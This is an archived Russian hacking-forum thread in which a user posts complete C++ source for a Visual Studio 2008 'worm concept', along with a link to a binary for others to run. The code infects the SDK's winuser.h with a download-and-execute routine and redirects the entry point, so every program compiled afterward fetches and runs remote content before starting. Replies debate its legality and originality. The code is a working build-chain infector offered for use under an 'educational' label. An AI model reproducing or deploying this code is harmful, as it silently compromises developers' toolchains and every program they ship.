PDA

Просмотр полной версии : концепт червя под VisualStudio2008


sn0w
14.01.2010, 15:52
вот решил погимориться и наваял. правда это не совсем червь пока - просто дроппер, суть заключена в том что в стандартные хидеры SDK добавляется код download & exec, переназначается точка входа и любая далее написанная прога (после заражения) в данной версии будет сливать шапку mail.ru и только потом работать сама.
правда сей стафф не попрет если гдето в проге есть переназначение /ENTRY.

кто хочет затестить - запускаем бинарник ( http://www.rapidshare.ru/1332796 ) далее пробуем пересобрать любой прожект (кроме длл атл и консоли)
при удачном исходе - в папке проге будет появляться хтмл файл.

предлагаю тему в разработку в целях обучения квайнкодингу - для самогенерации)

/*************************************************/
/* */
/* visual studio 2008 C++ worm concept by sn0w */
/* copyright (c) 2010, antichat.ru community */
/* */
/*************************************************/

/****** for educational purposes only ******/
/***** лишь в ознакомительных целях *****/

// стандартные инклуды, объединение секций, оптимизация и назначение точки входа
// чтобы не использовать C-Runtime
#include <windows.h>
#pragma optimize("gsy", on)
#pragma comment(linker, "/MERGE:.rdata=.data")
#pragma comment(linker,"/MERGE:.text=.data")
#pragma comment(linker,"/SECTION:.data,ERW")
#pragma comment(linker, "/ENTRY:WinMain")

// какбы сократил разделитель строк для записи в файл
#define CRLF "\r\n"

// массив, содержащий код который будет записан в winuser.h
char dev_c0de[] =
"#ifndef _CONSOLE"CRLF // #ifndef - то что не объявлено, те мы будем использовать наш код
"#ifndef _USRDLL"CRLF // только в тех случаях, когда - это не консоль, не длл, не атл и не отладочная версия
"#ifndef _ATL_DLL"CRLF
"#ifndef _DEBUG"CRLF
"#pragma once"CRLF // включаем заголовки единожды, чтобы не было палева и конфликтов
"#ifndef _WINREG_"CRLF
"#include \"winreg.h\""CRLF // это лишнее, поскольку реестром не юзаемся (предидущие версии)
"#endif"CRLF
"#ifndef _WININET_"CRLF //
"#include \"wininet.h\""CRLF // ужно для функций download
"#endif"CRLF
"#pragma comment(lib,\"wininet\")"CRLF // тут мы подключаем вининет для реализации скачки
"#pragma comment(linker, \"/ENTRY:crtinit12\")"CRLF // тут перенаправляем точку входа в программе (1st goal)
// т.о. вместо оригинальной, мы замещаем ее своей, которая будет вызвана ранее чем startup код
"extern \"C\" void __cdecl WinMainCRTStartup(void);"CRLF // это ссылка на юзерскую WinMain
"extern \"C\" void __cdecl __security_init_cookie(void);"CRLF // а это - не преинит, обеспечивающий обработку исключений
//////////////////////////////////////////////////////////////////////////
// эта функция осуществляет скачку и запуск файла с инета
"void call_drop_()"CRLF
"{"CRLF
"LPCSTR szAccept[] = {\"*/*\", NULL};"CRLF
"LPCSTR szUserAgent = \"Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3\";"CRLF

"HANDLE hheap = GetProcessHeap();"CRLF

"HINTERNET hInternet = InternetOpen(szUserAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL,0);"CRLF

"DWORD flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_PRAGMA_NOCACHE;"CRLF
"HINTERNET hConnect = InternetConnect(hInternet, \"mail.ru\", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);"CRLF
"HINTERNET hRequest = HttpOpenRequest(hConnect, \"GET\", \"/\", NULL, NULL, szAccept, flags, 0);"CRLF

"HttpSendRequest(hRequest, 0, 0, NULL, 0);"CRLF

"LPVOID outbuff = HeapAlloc(hheap, HEAP_ZERO_MEMORY, 4096);"CRLF
"LPVOID p = outbuff;"CRLF

"DWORD size = 0, curr = 0;"CRLF

"while(InternetReadFile(hRequest, p, 4096, &curr)==TRUE && curr !=0){"CRLF
"size += curr;"CRLF
"outbuff = HeapReAlloc(hheap, 0, outbuff, size + 4096);"CRLF
"p = (LPVOID)((DWORD)outbuff+size);}"CRLF


"InternetCloseHandle(hRequest);"CRLF
"InternetCloseHandle(hConnect);"CRLF
"InternetCloseHandle(hInternet);"CRLF

"#define F_NAME \"head.html\""CRLF
"HANDLE hfile = CreateFileA(F_NAME, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS,0, NULL);"CRLF
"WriteFile(hfile, outbuff, size, &size, NULL);"CRLF
"CloseHandle(hfile);"CRLF
"HeapFree(hheap,0 ,outbuff);"CRLF
"WinExec(F_NAME, SW_SHOWNORMAL);"CRLF
"Sleep(2000);"CRLF
"//DeleteFile(F_NAME);"CRLF
"}"CRLF
//////////////////////////////////////////////////////////////////////////
// это как говорилось - тело редиректа. при запуске сперва будут отработаны именно эти инструкции
"void APIENTRY crtinit12(void)"CRLF
"{"CRLF
"call_drop_();"CRLF // вызываем нащ дроппер
"__security_init_cookie();"CRLF // инициализируем систему исключений
"WinMainCRTStartup();"CRLF // вызываем оригинальную программу
"}"CRLF
//////////////////////////////////////////////////////////////////////////
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif"CRLF
"#endif /* !_WINUSER_ */"CRLF;
/////////////////////////////////////////////////////////////

// подпрограмма установки:
//
// ищем в реестре установлена или не т СДК (признак наличия визуал студии)
//
void setup_me()
{
HKEY hk;
char szDataBuf[256];
char sz_winuser_h[256];
DWORD dwSize;

if(RegOpenKey(HKEY_CURRENT_USER, "software\\microsoft\\microsoft sdks\\windows", &hk)!=ERROR_SUCCESS)
return; // abort, no sdk available, or no approp rights

dwSize = 256;
if(RegQueryValueEx(hk, "CurrentInstallFolder", NULL, NULL, (LPBYTE)szDataBuf, &dwSize)!=ERROR_SUCCESS){
RegCloseKey(hk);
return; // abort, couldnt retrieve sdk path
}
RegCloseKey(hk);

// да, она есть, теперь формируем полный путь к winuser.h

lstrcpy(sz_winuser_h, szDataBuf);
lstrcat(sz_winuser_h, "include\\winuser.h");

// 2. Now open winuser.h and write our code
HANDLE hwinh = CreateFileA(sz_winuser_h, GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SH ARE_WRITE,
0,OPEN_EXISTING, 0, NULL);

if(hwinh == INVALID_HANDLE_VALUE)
return; // cant open

// да он есть, открыли, и проецируем в память для удобства

HANDLE hmap = CreateFileMappingA(hwinh, 0, PAGE_READWRITE, 0, 462759, 0);

if(hmap == NULL){
CloseHandle(hwinh);
return; // cant map
}

LPVOID lpmem = MapViewOfFile(hmap,FILE_MAP_ALL_ACCESS,0,0,0);

if(lpmem == NULL){
CloseHandle(hmap);
CloseHandle(hwinh);
return;
} // cant map

LPBYTE bytes = (LPBYTE)lpmem;

// теперь проверяем, заражен ли он уже? признак - 6й байт файла - точка

// check watermark
if(bytes[5]=='.'){ // already infected
UnmapViewOfFile(lpmem);
CloseHandle(hmap);
CloseHandle(hwinh);
return; // уже заражен
}

// продолжаем работу, - маркируем как инфицированный

// mark as infected and write code
bytes[5] = '.';

// а теперь едем в конец файла и сдвигаемся назад до символа #
// для того чтобы найти последнюю #endif и вписаться за ней
//roll to the end (zeroes)
char *edittarget;
DWORD *fast_roll = (LPDWORD)bytes;
while(*fast_roll!=0)fast_roll+=sizeof(DWORD);

edittarget = (char*)fast_roll+4;
while(*edittarget!='#')edittarget--;

// нашли, и теперь полностью переписываем туда наш массив с девкодом
// now finally write stuff
for(int i=0; i< sizeof(dev_c0de); i++)
edittarget[i] = dev_c0de[i];

UnmapViewOfFile(lpmem);
CloseHandle(hmap);
CloseHandle(hwinh);

// инфицирование завершено
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
setup_me();
return 0;
}

Nightmarе
14.01.2010, 15:58
Зачётная вещь, я так понимаю это чистый аналог вируса Win32.Induc.a но только под ВС?

sn0w
14.01.2010, 15:59
в идеале - ога)

Gar|k
14.01.2010, 16:17
УУУ ЗЛО ст 273 УК РФ до 7 лет лишения свободы.

Это каким надо быть какашкой, что бы пакостить братьям программистам...

Retimiled
14.01.2010, 16:56
да манифест хакера просто отдыхает!

... теперь скрипткидисы смогут программерам портить жизть... маладес!


тока нах... программу делать если все то же самое делается и при ручном вводе в заголовочный файл?

... не порнимаю ничего в мотивации написания программ которые только пишут в другой файл! То в host теперь в винузерхиадер.... это чего типа хеллоу ворлд?

spider-intruder
14.01.2010, 18:05
Молодец! Не слушай этих ....

Retimiled
14.01.2010, 18:40
да я за !!!

просто хеллоуворлдом попахивает.... всего то нужно было сказать пишу код в винюзер.хы 8))))

... вот новичкам ... как пишется в другой файл !

А чего туда пишется .... хеллоу ворлд как скачать файл по http-Ы !!!

2 хеллоу ворлда на одну программу ... не перебор?

или вот теперь хеллоу ворлдщики смогут программерам жизть испортить? 8)) Оптимисты вы однако!

Nightmarе
14.01.2010, 19:25
Хехе, вот что значит грин решил похвастаться =))

Был бы подобный пост от вашего друга Васи, коменты были другие, но как только кто то из "илиты" попробовал самовыразиться... мы тоже самовыражаемся...

Gar|k
14.01.2010, 19:43
Nightmarе загнул ты про "илиты". Обладание высоким рейтингом на форуме, не говорит о том что этот человек действительно гуру. Вася может быть техническим директором крупной конторы зарегавшимся здесь ради одного двух комментариев и то что у него рейтинг 0 и 4 сообщения на форуме не говорит что он нуб )

Ну, а своё мнение я уже говорил. Подло это своим товарищям портить жизнь.

sn0w
14.01.2010, 20:00
ну все, полетели тухлые яйца и помидоры)

Retimiled
14.01.2010, 20:06
2 snow
... ну как бЭ .... это не помидоры! Твой код arp сканера на который почему то никто не обратил внимания действительно ВЕШЬЬЬЬЬ....(пусть и с ошибками, но это лишь путь для вдумчивого) но на античате западлостроение (дешевая слава срипткидису спать не дает) пользуется спросом и вот уже и программеры пишут коньюктурные приложения!


чтоли... как пела Шапокляк "хорошими делами прославиться низяяяяяя!" :D

cheater_man
14.01.2010, 20:14
ну все, полетели тухлые яйца и помидоры)
ТС коменты к сорсу напиши. А то чет мне кажется это не твоя работа.

gold-goblin
14.01.2010, 20:24
cheater_man
Извеняюсь, я в угаре.....
sn0w
Отлично, но вот изменения при помощи квайна не хватает =(

оlbaneс
15.01.2010, 17:50
опять 25. когда начнем код комментить?
тому кто код понимает интересно не будет => выкладывать не нужно.
а кто слабо понимает как ему без комментов разобраться?

sn0w
15.01.2010, 22:47
по просьбам трудящихся, комменты в старте добавляю)

desTiny
15.01.2010, 23:43
приступай к WDK

оlbaneс
16.01.2010, 14:10
по просьбам трудящихся, комменты в старте добавляю)
ты, наверное, даже не представляешь как коменты облегчают жизнь.
т.е. я читал и фантазировал одно, а коменты показали, что понимал не правильно. ферштейн? )

sn0w
18.01.2010, 16:03
я по немецки не шпрехаю))